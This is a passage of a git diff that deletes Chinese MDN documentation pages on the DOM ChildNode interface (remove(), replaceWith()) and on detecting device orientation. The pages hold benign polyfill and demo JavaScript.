/dev/null @@ -1,78 +0,0 @@ ---- -title: ChildNode -slug: orphaned/Web/API/ChildNode -tags: - - API - - ChildNode - - DOM - - Node - - 接口 -translation_of: Web/API/ChildNode -original_slug: Web/API/ChildNode ---- -<p>{{APIRef("DOM")}}</p> - -<p><code><strong>ChildNode</strong></code> 混合了所有(拥有父对象) {{domxref("Node")}} 对象包含的公共方法和属性。其由 {{domxref("Element")}}、{{domxref("DocumentType")}} 和 {{domxref("CharacterData")}} 对象实现。</p> - -<h2 id="属性">属性</h2> - -<p>没有继承任何属性,也没有任何专有属性。</p> - -<h2 id="方法">方法</h2> - -<p>没有继承的方法。</p> - -<dl> - <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt> - <dd>将 <code>ChildNode</code> 从其父节点的子节点列表中移除。</dd> - <dt>{{domxref("ChildNode.before()")}} {{experimental_inline}}</dt> - <dd>在其父节点的子节点列表中插入一些 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为 <code>ChildNode</code> 之前。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。</dd> - <dt>{{domxref("ChildNode.after()")}} {{experimental_inline}}</dt> - <dd>在其父节点的子节点列表中插入一些{{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为 <code>ChildNode</code> 之后。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。</dd> - <dt>{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}</dt> - <dd>使用一组 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象替换 <code>ChildNode</code>。{{domxref("DOMString")}} 对象会以 {{domxref("Text")}} 的形式插入。</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">说明</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ParentNode")}} and <code>ChildNode</code>. The <code>previousElementSibling</code> and <code>nextElementSibling</code> are now defined on the latter. The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces. 新增 <code>remove()</code>, <code>before()</code>, <code>after()</code> and <code>replace()</code> 这四个方法。</td> - </tr> - <tr> - <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td> - <td>{{Spec2('Element Traversal')}}</td> - <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> - </tr> - </tbody> -</table> - -<h2 id="Polyfill">Polyfill</h2> - -<p>GitHub 上的外部资源:<a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ChildNode")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>The {{domxref("ParentNode")}} pure interface.</li> - <li> - <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, {{domxref("Element")}}, and {{domxref("DocumentType")}}.</div> - </li> - <li> - <div class="syntaxbox">The {{domxref("NonDocumentTypeChildNode")}} interface.</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/childnode/remove/index.html b/files/zh-cn/orphaned/web/api/childnode/remove/index.html deleted file mode 100644 index b60cab7a0c..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/remove/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: ChildNode.remove() -slug: orphaned/Web/API/ChildNode/remove -tags: - - API - - ChildNode - - DOM - - Method -translation_of: Web/API/ChildNode/remove -original_slug: Web/API/ChildNode/remove ---- -<p>{{APIRef("DOM")}}</p> - -<p><code><strong>ChildNode.remove()</strong></code> 方法,把对象从它所属的 DOM 树中删除。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><var>node</var>.remove();</pre> - -<h2 id="示例">示例</h2> - -<h3 id="使用_remove()">使用 <code>remove()</code></h3> - -<pre class="brush: html"><div id="div-01">Here is div-01</div> -<div id="div-02">Here is div-02</div> -<div id="div-03">Here is div-03</div> -</pre> - -<pre class="brush: js">var el = document.getElementById('div-02'); -el.remove(); -// id 为 'div-02' 的 div 被删掉了 -</pre> - -<p>{{EmbedLiveSample('使用_remove()')}}</p> - -<h3 id="ChildNode.remove()_是不可见的"><code>ChildNode.remove()</code> 是不可见的</h3> - -<p>在 <code>with</code> 语句中,<code>remove()</code> 方法是不可见的。参阅 {{jsxref("Symbol.unscopables")}} 了解更多信息。</p> - -<pre class="brush: js">with(node) { - remove(); -} -// ReferenceError: remove is not defined</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>You can polyfill the <code>remove()</code> method in Internet Explorer 9 and higher with the following code:</p> - -<pre class="brush: js">//https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md -(function (arr) { - arr.forEach(function (item) { - if (item.hasOwnProperty('remove')) { - return; - } - Object.defineProperty(item, 'remove', { - configurable: true, - enumerable: true, - writable: true, - value: function remove() { - this.parentNode.removeChild(this); - } - }); - }); -})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> - -<h2 id="Specification" name="Specification">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ChildNode.remove")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{domxref("ChildNode")}} 纯接口。</li> - <li> - <div class="syntaxbox">实现此纯接口的对象类型: {{domxref("CharacterData")}}、{{domxref("Element")}} , 和 {{domxref("DocumentType")}}.</div> - </li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/childnode/replacewith/index.html b/files/zh-cn/orphaned/web/api/childnode/replacewith/index.html deleted file mode 100644 index 9f3ef5bd88..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/replacewith/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: ChildNode.replaceWith() -slug: orphaned/Web/API/ChildNode/replaceWith -tags: - - DOM - - Node -translation_of: Web/API/ChildNode/replaceWith -original_slug: Web/API/ChildNode/replaceWith ---- -<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div> - -<p><code><strong>ChildNode</strong></code><strong><code>.replaceWith()</code></strong> 的方法用一套 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象,替换了该节点父节点下的子节点 。{{domxref("DOMString")}} 对象被当做等效的{{domxref("Text")}} 节点插入。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">[Throws, Unscopable] -void ChildNode.replaceWith((Node or DOMString)... nodes); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>节点</code></dt> - <dd>一系列用来替换的{{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。</dd> -</dl> - -<h3 id="例外">例外</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}: 无法在层次结构中的指定点插入节点。</li> -</ul> - -<h2 id="案例">案例</h2> - -<h3 id="Using_replaceWith">Using <code>replaceWith()</code></h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); -var span = document.createElement("span"); - -child.replaceWith(span); - -console.log(parent.outerHTML); -// "<div><span></span></div>" -</pre> - -<h3 id="ChildNode.replaceWith_is_unscopable"><code>ChildNode.replaceWith()</code> is unscopable</h3> - -<p><code>replaceWith()</code>的方法并没有作用于with语句. 参考 {{jsxref("Symbol.unscopables")}} 获取更多信息.</p> - -<pre class="brush: js">with(node) { - replaceWith("foo"); -} -// ReferenceError: replaceWith is not defined </pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>你可以在IE9及更高级的浏览器中使用下面的代码向上兼容<code>replaceWith()</code>的方法:</p> - -<pre class="brush: js">(function (arr) { - arr.forEach(function (item) { - if (item.hasOwnProperty('replaceWith')) { - return; - } - Object.defineProperty(item, 'replaceWith', { - configurable: true, - enumerable: true, - writable: true, - value: function replaceWith() { - var argArr = Array.prototype.slice.call(arguments), - docFrag = document.createDocumentFragment(); - - argArr.forEach(function (argItem) { - var isNode = argItem instanceof Node; - docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); - }); - - this.parentNode.replaceChild(docFrag, this); - } - }); - }); -})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注释</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.ChildNode.replaceWith")}}</p> - -<h2 id="参阅">参阅</h2> - -<ul> - <li>{{domxref("ChildNode")}} 和 {{domxref("ParentNode")}}</li> - <li>{{domxref("Node.replaceChild()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/detecting_device_orientation/index.html b/files/zh-cn/orphaned/web/api/detecting_device_orientation/index.html deleted file mode 100644 index ac781aa185..0000000000 --- a/files/zh-cn/orphaned/web/api/detecting_device_orientation/index.html +++ /dev/null @@ -1,319 +0,0 @@ ---- -title: 检测设备方向 -slug: orphaned/Web/API/Detecting_device_orientation -tags: - - Detecting - - Detecting device orientation - - Device Orientation - - Motion - - 参考 - - 方向 - - 移动设备 - - 设备方向 -translation_of: Web/API/Detecting_device_orientation -original_slug: Web/API/Detecting_device_orientation ---- -<p>{{SeeCompatTable}}</p> - -<p>有越来越多的基于web的设备能够确定它们的方向; 也就是说,它们可以报告数据以指示基于重力方向的方向改变。特别地,手持设备如手机可以利用这些信息以自动旋转屏幕,保持内容直立,当设备旋转至横屏时(宽度大于高度),提供网页内容的横屏视图。</p> - -<p>有两种Javascript事件负责处理设备方向信息。第一种是{{domxref("DeviceOrientationEvent")}},它会在加速度传感器检测到设备在方向上产生变化时触发。通过处理该事件传来的数据信息,让交互式地响应用户移动设备旋转和仰角变化成为可能。</p> - -<p>第二种是{{domxref("DeviceMotionEvent")}},它会在加速度发生改变时触发。跟{{domxref("DeviceOrientationEvent")}}不同,{{domxref("DeviceMotionEvent")}}监听的是相应方向上加速度的变化。传感器通常都具有监听{{domxref("DeviceMotionEvent")}}的能力,包括笔记本中用于保护移动中的存储设备的传感器。{{domxref("DeviceOrientationEvent")}}事件更多见于移动设备中。</p> - -<h2 id="处理方向(orientation)事件">处理方向(<span style="font-size: 2.14285714285714rem;">orientation</span><span style="font-size: 2.14285714285714rem;">)事件</span></h2> - -<p>要接收设备方向变化信息,只需要监听{{ event("deviceorientation") }}事件:</p> - -<div class="blockIndicator note"> -<p><strong>注意:</strong><a href="https://github.com/dorukeker/gyronorm.js">gyronorm.js</a> is a polyfill for normalizing the accelerometer and gyroscope data on mobile devices. This is useful for overcoming some of the differences in device support for device orientation.</p> -</div> - -<pre class="brush: js">window.addEventListener("deviceorientation", handleOrientation, true); -</pre> - -<p>注册完事件监听处理函数后(对应这个例子中的<span style="background-color: rgba(234, 239, 242, 0.247059); font-family: Consolas,Monaco,'Andale Mono',monospace; font-size: 1rem; line-height: 19px; white-space: pre;">handleOrientation</span><span style="line-height: 1.5;">),监听函数会定期地接收到最新的设备方向数据。</span></p> - -<p>方向事件对象中包含四个值:</p> - -<p>{{ domxref("DeviceOrientationEvent.absolute") }}</p> - -<p>{{ domxref("DeviceOrientationEvent.alpha") }}</p> - -<p>{{ domxref("DeviceOrientationEvent.beta") }}</p> - -<p>{{ domxref("DeviceOrientationEvent.gamma") }}</p> - -<p>下面是一个事件处理函数的例子:</p> - -<pre class="brush: js">function handleOrientation(orientData) { - var absolute = orientData.absolute; - var alpha = orientData.alpha; - var beta = orientData.beta; - var gamma = orientData.gamma; - - // Do stuff with the new orientation data -} -</pre> - -<h3 id="相关值解释">相关值解释</h3> - -<p>关于每一个轴的记录值表示的是相对于标准的坐标系,设备在某一个给定轴上的旋转量。<a href="https://developer.mozilla.org/en-US/DOM/Orientation_and_motion_data_explained" style="line-height: 1.5;" title="Orientation and motion data explained">Orientation and motion data explained</a><span style="line-height: 1.5;"> 这篇文章有更详细的描述,下面是对这篇文章的总结。</span></p> - -<ul> - <li>{{ domxref("DeviceOrientationEvent.alpha") }} 表示设备沿z轴上的旋转角度,范围为0~360。</li> - <li>{{ domxref("DeviceOrientationEvent.beta") }} 表示设备在x轴上的旋转角度,范围为-180~180。它描述的是设备由前向后旋转的情况。</li> - <li>{{ domxref("DeviceOrientationEvent.gamma") }} 表示设备在y轴上的旋转角度,范围为-90~90。它描述的是设备由左向右旋转的情况。</li> -</ul> - -<h3 id="例子">例子</h3> - -<p>这个例子会成功运行在支持检测自己方向的设备中的支持{{event("deviceorientation")}} 事件的浏览器中。</p> - -<p>让我们想象一下有一个球在花园<span style="line-height: 1.5;">中:</span></p> - -<pre class="brush: html language-html" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-html" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"><</span>div</span> <span class="attr-name token" style="color: #669900;">class</span><span class="attr-value token" style="color: #0077aa;"><span class="punctuation token" style="color: #999999;">=</span><span class="punctuation token" style="color: #999999;">"</span>garden<span class="punctuation token" style="color: #999999;">"</span></span><span class="punctuation token" style="color: #999999;">></span></span> - <span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"><</span>div</span> <span class="attr-name token" style="color: #669900;">class</span><span class="attr-value token" style="color: #0077aa;"><span class="punctuation token" style="color: #999999;">=</span><span class="punctuation token" style="color: #999999;">"</span>ball<span class="punctuation token" style="color: #999999;">"</span></span><span class="punctuation token" style="color: #999999;">></span></span><span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"></</span>div</span><span class="punctuation token" style="color: #999999;">></span></span> -<span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"></</span>div</span><span class="punctuation token" style="color: #999999;">></span></span> - -<span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"><</span>pre</span> <span class="attr-name token" style="color: #669900;">class</span><span class="attr-value token" style="color: #0077aa;"><span class="punctuation token" style="color: #999999;">=</span><span class="punctuation token" style="color: #999999;">"</span>output<span class="punctuation token" style="color: #999999;">"</span></span><span class="punctuation token" style="color: #999999;">></span></span><span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"></</span>pre</span><span class="punctuation token" style="color: #999999;">></span></span></code></pre> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"></div> - -<p><span style="line-height: 1.5;">花园只有200px宽(很小对吧),球在中央:</span></p> - -<pre class="brush: css language-css" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-css" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="selector token" style="color: #669900;">.garden </span><span class="punctuation token" style="color: #999999;">{</span> - <span class="property token" style="color: #990055;">position</span><span class="punctuation token" style="color: #999999;">:</span> relative<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">width</span> <span class="punctuation token" style="color: #999999;">:</span> 200px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">height</span><span class="punctuation token" style="color: #999999;">:</span> 200px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">border</span><span class="punctuation token" style="color: #999999;">:</span> 5px solid #CCC<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">border-radius</span><span class="punctuation token" style="color: #999999;">:</span> 10px<span class="punctuation token" style="color: #999999;">;</span> -<span class="punctuation token" style="color: #999999;">}</span> - -<span class="selector token" style="color: #669900;">.ball </span><span class="punctuation token" style="color: #999999;">{</span> - <span class="property token" style="color: #990055;">position</span><span class="punctuation token" style="color: #999999;">:</span> absolute<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">top</span> <span class="punctuation token" style="color: #999999;">:</span> 90px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">left</span> <span class="punctuation token" style="color: #999999;">:</span> 90px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">width</span> <span class="punctuation token" style="color: #999999;">:</span> 20px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">height</span><span class="punctuation token" style="color: #999999;">:</span> 20px<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">background</span><span class="punctuation token" style="color: #999999;">:</span> green<span class="punctuation token" style="color: #999999;">;</span> - <span class="property token" style="color: #990055;">border-radius</span><span class="punctuation token" style="color: #999999;">:</span> 100%<span class="punctuation token" style="color: #999999;">;</span> -<span class="punctuation token" style="color: #999999;">}</span></code></pre> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 38px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 57px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 76px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 95px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 114px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 133px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 152px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 171px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 190px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 209px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 228px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 247px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 266px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 285px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 304px; background: 0px 0px;"></div> - -<p><span style="line-height: 1.5;">现在,如果我们移动设备,球将随之移动:</span></p> - -<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-js" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> ball <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> document<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">querySelector<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'.ball'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> -<span class="keyword token" style="color: #0077aa;">var</span> garden <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> document<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">querySelector<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'.garden'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> -<span class="keyword token" style="color: #0077aa;">var</span> output <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> document<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">querySelector<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'.output'</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> - -<span class="keyword token" style="color: #0077aa;">var</span> maxX <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> garden<span class="punctuation token" style="color: #999999;">.</span>clientWidth <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> ball<span class="punctuation token" style="color: #999999;">.</span>clientWidth<span class="punctuation token" style="color: #999999;">;</span> -<span class="keyword token" style="color: #0077aa;">var</span> maxY <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> garden<span class="punctuation token" style="color: #999999;">.</span>clientHeight <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> ball<span class="punctuation token" style="color: #999999;">.</span>clientHeight<span class="punctuation token" style="color: #999999;">;</span> - -<span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">handleOrientation<span class="punctuation token" style="color: #999999;">(</span></span>event<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> - <span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> event<span class="punctuation token" style="color: #999999;">.</span>beta<span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // In degree in the range [-180,180] -</span> <span class="keyword token" style="color: #0077aa;">var</span> y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> event<span class="punctuation token" style="color: #999999;">.</span>gamma<span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // In degree in the range [-90,90] -</span> - output<span class="punctuation token" style="color: #999999;">.</span>innerHTML <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"beta : "</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"\n"</span><span class="punctuation token" style="color: #999999;">;</span> - output<span class="punctuation token" style="color: #999999;">.</span>innerHTML <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"gamma: "</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"\n"</span><span class="punctuation token" style="color: #999999;">;</span> - - <span class="comment token" style="color: #708090;"> // Because we don't want to have the device upside down -</span> <span class="comment token" style="color: #708090;"> // We constrain the x value to the range [-90,90] -</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">></span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span> - <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;"><</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span><span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span><span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span> - - <span class="comment token" style="color: #708090;"> // To make computation easier we shift the range of -</span> <span class="comment token" style="color: #708090;"> // x and y to [0,180] -</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">;</span> - y <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span><span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">90</span><span class="punctuation token" style="color: #999999;">;</span> - - <span class="comment token" style="color: #708090;"> // 10 is half the size of the ball -</span> <span class="comment token" style="color: #708090;"> // It center the positioning point to the center of the ball -</span> ball<span class="punctuation token" style="color: #999999;">.</span>style<span class="punctuation token" style="color: #999999;">.</span>top <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">(</span>maxX<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">*</span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">/</span><span class="number token" style="color: #990055;">180</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"px"</span><span class="punctuation token" style="color: #999999;">;</span> - ball<span class="punctuation token" style="color: #999999;">.</span>style<span class="punctuation token" style="color: #999999;">.</span>left <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">(</span>maxY<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">*</span>y<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">/</span><span class="number token" style="color: #990055;">180</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">-</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"px"</span><span class="punctuation token" style="color: #999999;">;</span> -<span class="punctuation token" style="color: #999999;">}</span> - -window<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">addEventListener<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'deviceorientation'</span><span class="punctuation token" style="color: #999999;">,</span> handleOrientation<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 38px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 57px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 76px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 95px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 114px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 133px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 152px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 171px; background: 0px 0px;"></div> - -<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 190px; background: 0px 0px;"></div> - -<div 